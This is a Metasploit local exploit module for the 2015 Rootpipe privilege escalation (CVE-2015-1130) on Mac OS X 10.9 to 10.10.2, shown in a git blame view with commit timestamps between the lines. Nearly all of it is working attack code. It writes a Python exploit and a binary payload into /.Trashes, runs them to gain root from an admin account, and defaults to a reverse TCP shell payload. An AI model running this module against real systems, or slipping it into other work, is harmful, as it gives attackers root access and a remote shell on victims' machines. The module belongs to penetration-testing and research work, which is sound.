2015-04-09 16:05:52 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-04-09 16:05:52 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
2015-04-09 16:05:52 -05:00
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
2018-11-04 05:28:32 +00:00
|
|
|
include Msf::Post::File
|
2018-05-22 22:25:39 +00:00
|
|
|
include Msf::Post::OSX::Priv
|
2015-04-10 01:00:12 -05:00
|
|
|
include Msf::Post::OSX::System
|
2015-04-09 16:05:52 -05:00
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2015-04-13 10:46:47 -05:00
|
|
|
'Name' => 'Apple OS X Rootpipe Privilege Escalation',
|
2015-04-10 01:00:12 -05:00
|
|
|
'Description' => %q{
|
2015-04-09 16:05:52 -05:00
|
|
|
This module exploits a hidden backdoor API in Apple's Admin framework on
|
2015-04-13 10:52:32 -05:00
|
|
|
Mac OS X to escalate privileges to root, dubbed "Rootpipe."
|
2015-04-09 16:05:52 -05:00
|
|
|
|
2015-04-13 10:46:47 -05:00
|
|
|
This module was tested on Yosemite 10.10.2 and should work on previous versions.
|
2015-04-09 16:05:52 -05:00
|
|
|
|
|
|
|
|
The patch for this issue was not backported to older releases.
|
2015-04-10 10:19:23 -05:00
|
|
|
|
|
|
|
|
Note: you must run this exploit as an admin user to escalate to root.
|
2015-04-09 16:05:52 -05:00
|
|
|
},
|
2015-04-10 01:00:12 -05:00
|
|
|
'Author' => [
|
2015-04-09 16:05:52 -05:00
|
|
|
'Emil Kvarnhammar', # Vulnerability discovery and PoC
|
2015-04-10 01:00:12 -05:00
|
|
|
'joev', # Copy/paste monkey
|
|
|
|
|
'wvu' # Meta copy/paste monkey
|
2015-04-09 16:05:52 -05:00
|
|
|
],
|
2015-04-10 01:00:12 -05:00
|
|
|
'References' => [
|
|
|
|
|
['CVE', '2015-1130'],
|
2016-07-15 12:00:31 -05:00
|
|
|
['OSVDB', '114114'],
|
2015-04-10 01:00:12 -05:00
|
|
|
['EDB', '36692'],
|
|
|
|
|
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
|
2015-04-09 16:05:52 -05:00
|
|
|
],
|
2018-11-16 12:18:28 -06:00
|
|
|
'DisclosureDate' => '2015-04-09',
|
2015-04-10 01:00:12 -05:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'osx',
|
2016-10-28 07:16:05 +10:00
|
|
|
'Arch' => ARCH_X64,
|
2015-04-10 01:00:12 -05:00
|
|
|
'SessionTypes' => ['shell'],
|
2015-04-13 15:22:49 -05:00
|
|
|
'Privileged' => true,
|
2015-04-10 01:00:12 -05:00
|
|
|
'Targets' => [
|
|
|
|
|
['Mac OS X 10.9-10.10.2', {}]
|
2015-04-09 16:05:52 -05:00
|
|
|
],
|
2015-04-10 01:00:12 -05:00
|
|
|
'DefaultTarget' => 0,
|
2015-04-09 22:24:47 -05:00
|
|
|
'DefaultOptions' => {
|
2015-04-16 02:07:02 -05:00
|
|
|
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
|
2015-04-11 20:04:21 -05:00
|
|
|
'PrependSetreuid' => true
|
2015-04-09 22:24:47 -05:00
|
|
|
}
|
2015-04-09 16:05:52 -05:00
|
|
|
))
|
2015-04-09 22:24:47 -05:00
|
|
|
|
2018-05-31 12:26:33 +00:00
|
|
|
register_options [
|
2018-11-04 05:28:32 +00:00
|
|
|
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python'])
|
|
|
|
|
]
|
|
|
|
|
register_advanced_options [
|
2015-04-10 01:00:12 -05:00
|
|
|
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
2018-05-31 12:26:33 +00:00
|
|
|
]
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def base_dir
|
|
|
|
|
datastore['WritableDir'].to_s
|
2015-04-09 16:05:52 -05:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check
|
2018-05-22 22:25:39 +00:00
|
|
|
(ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe
|
2015-04-09 16:05:52 -05:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
2018-05-22 22:25:39 +00:00
|
|
|
if is_root?
|
|
|
|
|
fail_with Failure::BadConfig, 'Session already has root privileges'
|
|
|
|
|
end
|
|
|
|
|
|
2018-05-31 12:26:33 +00:00
|
|
|
unless is_admin?
|
|
|
|
|
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if check != CheckCode::Appears
|
|
|
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
|
|
|
end
|
|
|
|
|
|
2018-11-04 05:28:32 +00:00
|
|
|
unless writable? base_dir
|
2018-05-31 12:26:33 +00:00
|
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
|
|
|
end
|
|
|
|
|
|
2015-04-10 01:00:12 -05:00
|
|
|
print_status("Writing exploit to `#{exploit_file}'")
|
2015-04-09 16:05:52 -05:00
|
|
|
write_file(exploit_file, python_exploit)
|
|
|
|
|
register_file_for_cleanup(exploit_file)
|
|
|
|
|
|
2015-04-10 01:00:12 -05:00
|
|
|
print_status("Writing payload to `#{payload_file}'")
|
2015-04-09 16:05:52 -05:00
|
|
|
write_file(payload_file, binary_payload)
|
|
|
|
|
register_file_for_cleanup(payload_file)
|
|
|
|
|
|
2015-04-10 01:00:12 -05:00
|
|
|
print_status('Executing exploit...')
|
|
|
|
|
cmd_exec(sploit)
|
2015-04-09 16:05:52 -05:00
|
|
|
print_status('Executing payload...')
|
|
|
|
|
cmd_exec(payload_file)
|
|
|
|
|
end
|
|
|
|
|
|
2015-04-10 10:19:23 -05:00
|
|
|
def ver?
|
|
|
|
|
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
|
|
|
|
|
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
2015-04-10 01:00:12 -05:00
|
|
|
def sploit
|
|
|
|
|
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def python_exploit
|
|
|
|
|
File.read(File.join(
|
|
|
|
|
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
|
|
|
|
|
))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def binary_payload
|
|
|
|
|
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit_file
|
2018-06-08 14:53:21 +08:00
|
|
|
@exploit_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
|
2015-04-09 16:05:52 -05:00
|
|
|
end
|
|
|
|
|
|
2015-04-10 01:00:12 -05:00
|
|
|
def payload_file
|
2018-06-08 14:53:21 +08:00
|
|
|
@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
|
2015-04-09 16:05:52 -05:00
|
|
|
end
|
|
|
|
|
end
|